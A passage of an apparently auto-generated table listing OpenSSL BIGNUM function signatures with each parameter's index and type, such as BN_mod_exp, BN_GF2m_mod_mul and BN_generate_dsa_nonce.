bn_mod_add_fixed_top | 3 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *) | | bn_mod_sub_fixed_top | 0 | BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *) | | bn_mod_sub_fixed_top | 1 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *) | | bn_mod_sub_fixed_top | 2 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *) | | bn_mod_sub_fixed_top | 3 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | BN_GF2m_mod_div | 0 | BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | BN_GF2m_mod_div | 1 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | BN_GF2m_mod_div | 2 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | BN_GF2m_mod_div | 3 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | BN_GF2m_mod_div | 4 | BN_CTX * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | BN_GF2m_mod_exp | 0 | BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | BN_GF2m_mod_exp | 1 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | BN_GF2m_mod_exp | 2 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | BN_GF2m_mod_exp | 3 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | BN_GF2m_mod_exp | 4 | BN_CTX * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | BN_GF2m_mod_mul | 0 | BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | BN_GF2m_mod_mul | 1 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | BN_GF2m_mod_mul | 2 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | BN_GF2m_mod_mul | 3 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | BN_GF2m_mod_mul | 4 | BN_CTX * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | BN_mod_add | 0 | BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | BN_mod_add | 1 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | BN_mod_add | 2 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | BN_mod_add | 3 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | BN_mod_add | 4 | BN_CTX * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | BN_mod_exp | 0 | BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | BN_mod_exp | 1 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | BN_mod_exp | 2 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | BN_mod_exp | 3 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | BN_mod_exp | 4 | BN_CTX * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | BN_mod_exp_recp | 0 | BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | BN_mod_exp_recp | 1 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | BN_mod_exp_recp | 2 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | BN_mod_exp_recp | 3 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | BN_mod_exp_recp | 4 | BN_CTX * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | BN_mod_exp_simple | 0 | BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | BN_mod_exp_simple | 1 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | BN_mod_exp_simple | 2 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | BN_mod_exp_simple | 3 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | BN_mod_exp_simple | 4 | BN_CTX * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | BN_mod_mul | 0 | BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | BN_mod_mul | 1 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | BN_mod_mul | 2 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | BN_mod_mul | 3 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | BN_mod_mul | 4 | BN_CTX * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | BN_mod_sub | 0 | BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | BN_mod_sub | 1 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | BN_mod_sub | 2 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | BN_mod_sub | 3 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | BN_mod_sub | 4 | BN_CTX * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *,BN_MONT_CTX *) | | BN_mod_exp_mont | 0 | BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *,BN_MONT_CTX *) | | BN_mod_exp_mont | 1 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *,BN_MONT_CTX *) | | BN_mod_exp_mont | 2 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *,BN_MONT_CTX *) | | BN_mod_exp_mont | 3 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *,BN_MONT_CTX *) | | BN_mod_exp_mont | 4 | BN_CTX * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *,BN_MONT_CTX *) | | BN_mod_exp_mont | 5 | BN_MONT_CTX * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *,BN_MONT_CTX *) | | BN_mod_exp_mont_consttime | 0 | BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *,BN_MONT_CTX *) | | BN_mod_exp_mont_consttime | 1 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *,BN_MONT_CTX *) | | BN_mod_exp_mont_consttime | 2 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *,BN_MONT_CTX *) | | BN_mod_exp_mont_consttime | 3 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *,BN_MONT_CTX *) | | BN_mod_exp_mont_consttime | 4 | BN_CTX * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *,BN_MONT_CTX *) | | BN_mod_exp_mont_consttime | 5 | BN_MONT_CTX * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *,BN_MONT_CTX *) | | bn_mod_exp_mont_fixed_top | 0 | BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *,BN_MONT_CTX *) | | bn_mod_exp_mont_fixed_top | 1 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *,BN_MONT_CTX *) | | bn_mod_exp_mont_fixed_top | 2 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *,BN_MONT_CTX *) | | bn_mod_exp_mont_fixed_top | 3 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *,BN_MONT_CTX *) | | bn_mod_exp_mont_fixed_top | 4 | BN_CTX * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *,BN_MONT_CTX *) | | bn_mod_exp_mont_fixed_top | 5 | BN_MONT_CTX * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_MONT_CTX *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_MONT_CTX *,BN_CTX *) | | BN_mod_exp_mont_consttime_x2 | 0 | BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_MONT_CTX *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_MONT_CTX *,BN_CTX *) | | BN_mod_exp_mont_consttime_x2 | 1 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_MONT_CTX *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_MONT_CTX *,BN_CTX *) | | BN_mod_exp_mont_consttime_x2 | 2 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_MONT_CTX *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_MONT_CTX *,BN_CTX *) | | BN_mod_exp_mont_consttime_x2 | 3 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_MONT_CTX *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_MONT_CTX *,BN_CTX *) | | BN_mod_exp_mont_consttime_x2 | 4 | BN_MONT_CTX * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_MONT_CTX *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_MONT_CTX *,BN_CTX *) | | BN_mod_exp_mont_consttime_x2 | 5 | BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_MONT_CTX *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_MONT_CTX *,BN_CTX *) | | BN_mod_exp_mont_consttime_x2 | 6 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_MONT_CTX *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_MONT_CTX *,BN_CTX *) | | BN_mod_exp_mont_consttime_x2 | 7 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_MONT_CTX *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_MONT_CTX *,BN_CTX *) | | BN_mod_exp_mont_consttime_x2 | 8 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_MONT_CTX *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_MONT_CTX *,BN_CTX *) | | BN_mod_exp_mont_consttime_x2 | 9 | BN_MONT_CTX * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_MONT_CTX *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_MONT_CTX *,BN_CTX *) | | BN_mod_exp_mont_consttime_x2 | 10 | BN_CTX * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *,BN_MONT_CTX *) | | BN_mod_exp2_mont | 0 | BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *,BN_MONT_CTX *) | | BN_mod_exp2_mont | 1 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *,BN_MONT_CTX *) | | BN_mod_exp2_mont | 2 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *,BN_MONT_CTX *) | | BN_mod_exp2_mont | 3 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *,BN_MONT_CTX *) | | BN_mod_exp2_mont | 4 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *,BN_MONT_CTX *) | | BN_mod_exp2_mont | 5 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *,BN_MONT_CTX *) | | BN_mod_exp2_mont | 6 | BN_CTX * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *,BN_MONT_CTX *) | | BN_mod_exp2_mont | 7 | BN_MONT_CTX * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,const int[],BN_CTX *) | | BN_GF2m_mod_div_arr | 0 | BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,const int[],BN_CTX *) | | BN_GF2m_mod_div_arr | 1 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,const int[],BN_CTX *) | | BN_GF2m_mod_div_arr | 2 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,const int[],BN_CTX *) | | BN_GF2m_mod_div_arr | 3 | const int[] | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,const int[],BN_CTX *) | | BN_GF2m_mod_div_arr | 4 | BN_CTX * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,const int[],BN_CTX *) | | BN_GF2m_mod_exp_arr | 0 | BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,const int[],BN_CTX *) | | BN_GF2m_mod_exp_arr | 1 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,const int[],BN_CTX *) | | BN_GF2m_mod_exp_arr | 2 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,const int[],BN_CTX *) | | BN_GF2m_mod_exp_arr | 3 | const int[] | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,const int[],BN_CTX *) | | BN_GF2m_mod_exp_arr | 4 | BN_CTX * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,const int[],BN_CTX *) | | BN_GF2m_mod_mul_arr | 0 | BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,const int[],BN_CTX *) | | BN_GF2m_mod_mul_arr | 1 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,const int[],BN_CTX *) | | BN_GF2m_mod_mul_arr | 2 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,const int[],BN_CTX *) | | BN_GF2m_mod_mul_arr | 3 | const int[] | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,const int[],BN_CTX *) | | BN_GF2m_mod_mul_arr | 4 | BN_CTX * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,const unsigned char *,size_t,BN_CTX *) | | BN_generate_dsa_nonce | 0 | BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,const unsigned char *,size_t,BN_CTX *) | | BN_generate_dsa_nonce | 1 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,const unsigned char *,size_t,BN_CTX *) | | BN_generate_dsa_nonce | 2 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,const unsigned char *,size_t,BN_CTX *) | | BN_generate_dsa_nonce | 3 | const unsigned char * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,const unsigned char *,size_t,BN_CTX *) | | BN_generate_dsa_nonce | 4 | size_t | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,const unsigned char *,size_t,BN_CTX *) | | BN_generate_dsa_nonce | 5 | BN_CTX * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,const unsigned char *,size_t,BN_CTX *) | | ossl_bn_gen_dsa_nonce_fixed_top | 0 | BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,const unsigned char *,size_t,BN_CTX *) | | ossl_bn_gen_dsa_nonce_fixed_top | 1 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,const unsigned char *,size_t,BN_CTX *) | | ossl_bn_gen_dsa_nonce_fixed_top | 2 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,const unsigned char *,size_t,BN_CTX *) | | ossl_bn_gen_dsa_nonce_fixed_top | 3 | const unsigned char * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,const unsigned char *,size_t,BN_CTX *) | | ossl_bn_gen_dsa_nonce_fixed_top | 4 | size_t | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,const unsigned char *,size_t,BN_CTX *) | | ossl_bn_gen_dsa_nonce_fixed_top | 5 | BN_CTX * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,const unsigned char *,size_t,const char *,OSSL_LIB_CTX *,const char *) | | ossl_gen_deterministic_nonce_rfc6979 | 0 | BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,const unsigned char *,size_t,const char *,OSSL_LIB_CTX *,const char *) | | ossl_gen_deterministic_nonce_rfc6979 | 1 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,const unsigned char *,size_t,const char *,OSSL_LIB_CTX *,const char *) | | ossl_gen_deterministic_nonce_rfc6979 | 2 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,const unsigned char *,size_t,const char *,OSSL_LIB_CTX *,const char *) | | ossl_gen_deterministic_nonce_rfc6979 | 3 | const unsigned char * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,const unsigned char *,size_t,const char *,OSSL_LIB_CTX *,const char *) | | ossl_gen_deterministic_nonce_rfc6979 | 4 | size_t | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,const unsigned char *,size_t,const char *,OSSL_LIB_CTX *,const char *) | | ossl_gen_deterministic_nonce_rfc6979 | 5 | const char * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,const unsigned char *,size_t,const char *,OSSL_LIB_CTX *,const char *) | | ossl_gen_deterministic_nonce_rfc6979 | 6 | OSSL_LIB_CTX * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,const unsigned char *,size_t,const char *,OSSL_LIB_CTX *,const char *) | | ossl_gen_deterministic_nonce_rfc6979 | 7 | const char * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,int) | | ossl_rsa_check_pminusq_diff | 0 | BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,int) | | ossl_rsa_check_pminusq_diff | 1 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,int) | | ossl_rsa_check_pminusq_diff | 2 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,int) | | ossl_rsa_check_pminusq_diff | 3 | int | +| (BIGNUM *,const BIGNUM *,const int[]) | | BN_GF2m_mod_arr | 0 | BIGNUM * | +| (BIGNUM *,const BIGNUM *,const int[]) | | BN_GF2m_mod_arr | 1 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,const int[]) | | BN_GF2m_mod_arr | 2 | const int[] | +| (BIGNUM *,const BIGNUM *,const int[],BN_CTX *) | | BN_GF2m_mod_inv_arr | 0 | BIGNUM * | +| (BIGNUM *,const BIGNUM *,const int[],BN_CTX *) | | BN_GF2m_mod_inv_arr | 1 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,const int[],BN_CTX *) | | BN_GF2m_mod_inv_arr | 2 | const int[] | +| (BIGNUM *,const BIGNUM *,const int[],BN_CTX *) | | BN_GF2m_mod_inv_arr | 3 | BN_CTX * | +| (BIGNUM *,const BIGNUM *,const int[],BN_CTX *) | | BN_GF2m_mod_solve_quad_arr | 0 | BIGNUM * | +| (BIGNUM *,const BIGNUM *,const int[],BN_CTX *) | | BN_GF2m_mod_solve_quad_arr | 1 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,const int[],BN_CTX *) | | BN_GF2m_mod_solve_quad_arr | 2 | const int[] | +| (BIGNUM *,const BIGNUM *,const int[],BN_CTX *) | | BN_GF2m_mod_solve_quad_arr | 3 | BN_CTX * | +| (BIGNUM *,const BIGNUM *,const int[],BN_CTX *) | | BN_GF2m_mod_sqr_arr | 0 | BIGNUM * | +| (BIGNUM *,const BIGNUM *,const int[],BN_CTX *) | | BN_GF2m_mod_sqr_arr | 1 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,const int[],BN_CTX *) | | BN_GF2m_mod_sqr_arr | 2 | const int[] | +| (BIGNUM *,const BIGNUM *,const int[],BN_CTX *) | | BN_GF2m_mod_sqr_arr | 3 | BN_CTX * | +| (BIGNUM *,const BIGNUM *,const int[],BN_CTX *) | | BN_GF2m_mod_sqrt_arr | 0 | BIGNUM * | +| (BIGNUM *,const BIGNUM *,const int[],BN_CTX *) | | BN_GF2m_mod_sqrt_arr | 1 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,const int[],BN_CTX *) | | BN_GF2m_mod_sqrt_arr | 2 | const int[] | +| (BIGNUM *,const BIGNUM *,const int[],BN_CTX *) | | BN_GF2m_mod_sqrt_arr | 3 | BN_CTX * | +| (BIGNUM *,const BIGNUM *,int) | | BN_lshift | 0 | BIGNUM * | +| (BIGNUM *,const BIGNUM *,int) | | BN_lshift | 1 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,int) | | BN_lshift | 2 | int | +| (BIGNUM *,const BIGNUM *,int) | | BN_rshift | 0 | BIGNUM * | +| (BIGNUM *,const BIGNUM *,int) | | BN_rshift | 1 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,int) | | BN_rshift | 2 | int | +| (BIGNUM *,const BIGNUM *,int) | | BN_with_flags | 0 | BIGNUM * | +| (BIGNUM *,const BIGNUM *,int) | | BN_with_flags | 1 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,int) | | BN_with_flags | 2 | int | +| (BIGNUM *,const BIGNUM *,int) | | bn_lshift_fixed_top | 0 | BIGNUM * | +| (BIGNUM *,const BIGNUM *,int) | | bn_lshift_fixed_top | 1 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,int) | | bn_lshift_fixed_top | 2 | int | +| (BIGNUM *,const BIGNUM *,int) | | bn_rshift_fixed_top | 0 | BIGNUM * | +| (BIGNUM *,const BIGNUM *,int) | | bn_rshift_fixed_top | 1 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,int) | | bn_rshift_fixed_top | 2 | int | +| (BIGNUM *,const BIGNUM *,int,BN_CTX *) | | BN_reciprocal | 0 | BIGNUM * | +| (BIGNUM *,const BIGNUM *,int,BN_CTX *) | | BN_reciprocal | 1 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,int,BN_CTX *) | | BN_reciprocal | 2 | int | +| (BIGNUM *,const BIGNUM *,int,BN_CTX *) | | BN_reciprocal | 3 | BN_CTX * | +| (BIGNUM *,const BIGNUM *,int,const BIGNUM *) | | BN_mod_lshift_quick | 0 | BIGNUM * | +| (BIGNUM *,const BIGNUM *,int,const BIGNUM *) | | BN_mod_lshift_quick | 1 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,int,const BIGNUM *) | | BN_mod_lshift_quick | 2 | int | +| (BIGNUM *,const BIGNUM *,int,const BIGNUM *) | | BN_mod_lshift_quick | 3 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,int,const BIGNUM *,BN_CTX *) | | BN_mod_lshift | 0 | BIGNUM * | +| (BIGNUM *,const BIGNUM *,int,const BIGNUM *,BN_CTX *) | | BN_mod_lshift | 1 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,int,const BIGNUM *,BN_CTX *) | | BN_mod_lshift | 2 | int | +| (BIGNUM *,const BIGNUM *,int,const BIGNUM *,BN_CTX *) | | BN_mod_lshift | 3 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,int,const BIGNUM *,BN_CTX *) | | BN_mod_lshift | 4 | BN_CTX * | +| (BIGNUM *,const BIGNUM *,unsigned int,BN_CTX *) | | BN_priv_rand_range_ex | 0 | BIGNUM * | +| (BIGNUM *,const BIGNUM *,unsigned int,BN_CTX *) | | BN_priv_rand_range_ex | 1 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,unsigned int,BN_CTX *) | | BN_priv_rand_range_ex | 2 | unsigned int | +| (BIGNUM *,const BIGNUM *,unsigned int,BN_CTX *) | | BN_priv_rand_range_ex | 3 | BN_CTX * | +| (BIGNUM *,const BIGNUM *,unsigned int,BN_CTX *) | | BN_rand_range_ex | 0 | BIGNUM * | +| (BIGNUM *,const BIGNUM *,unsigned int,BN_CTX *) | | BN_rand_range_ex | 1 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,unsigned int,BN_CTX *) | | BN_rand_range_ex | 2 | unsigned int | +| (BIGNUM *,const BIGNUM *,unsigned int,BN_CTX *) | | BN_rand_range_ex | 3 | BN_CTX * | +| (BIGNUM *,const BIGNUM *,unsigned int,BN_CTX *) | | ossl_bn_priv_rand_range_fixed_top | 0 | BIGNUM * | +| (BIGNUM *,const BIGNUM *,unsigned int,BN_CTX *) | | ossl_bn_priv_rand_range_fixed_top | 1 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,unsigned int,BN_CTX *) | | ossl_bn_priv_rand_range_fixed_top | 2 | unsigned int | +| (BIGNUM *,const BIGNUM *,unsigned int,BN_CTX *) | | ossl_bn_priv_rand_range_fixed_top | 3 | BN_CTX * | +| (BIGNUM *,const unsigned long *,int) | | bn_set_static_words | 0 | BIGNUM * | +| (BIGNUM *,const unsigned long *,int) | | bn_set_static_words | 1 | const unsigned long * | +| (BIGNUM *,const unsigned long *,int) | | bn_set_static_words | 2 | int | +| (BIGNUM *,const unsigned long *,int) | | bn_set_words | 0 | BIGNUM * | +| (BIGNUM *,const unsigned long *,int) | | bn_set_words | 1 | const unsigned long * | +| (BIGNUM *,const unsigned long *,int) | | bn_set_words | 2 | int | +| (BIGNUM *,int) | | BN_clear_bit | 0 | BIGNUM * | +| (BIGNUM *,int) | | BN_clear_bit | 1 | int | +| (BIGNUM *,int) | | BN_mask_bits | 0 | BIGNUM * | +| (BIGNUM *,int) | | BN_mask_bits | 1 | int | +| (BIGNUM *,int) | | BN_set_bit | 0 | BIGNUM * | +| (BIGNUM *,int) | | BN_set_bit | 1 | int | +| (BIGNUM *,int) | | BN_set_flags | 0 | BIGNUM * | +| (BIGNUM *,int) | | BN_set_flags | 1 | int | +| (BIGNUM *,int) | | bn_expand2 | 0 | BIGNUM * | +| (BIGNUM *,int) | | bn_expand2 | 1 | int | +| (BIGNUM *,int) | | bn_wexpand | 0 | BIGNUM * | +| (BIGNUM *,int) | | bn_wexpand | 1 | int | +| (BIGNUM *,int) | | ossl_bn_mask_bits_fixed_top | 0 | BIGNUM * | +| (BIGNUM *,int) | | ossl_bn_mask_bits_fixed_top | 1 | int | +| (BIGNUM *,int,int,const BIGNUM *,const BIGNUM *,..(*)(..),void *) | | BN_generate_prime | 0 | BIGNUM * | +| (BIGNUM *,int,int,const BIGNUM *,const BIGNUM *,..(*)(..),void *) | | BN_generate_prime | 1 | int | +| (BIGNUM *,int,int,const BIGNUM *,const BIGNUM *,..(*)(..),void *) | | BN_generate_prime | 2 | int | +| (BIGNUM *,int,int,const BIGNUM *,const BIGNUM *,..(*)(..),void *) | | BN_generate_prime | 3 | const BIGNUM * | +| (BIGNUM *,int,int,const BIGNUM *,const BIGNUM *,..(*)(..),void *) | | BN_generate_prime | 4 | const BIGNUM * | +| (BIGNUM *,int,int,const BIGNUM *,const 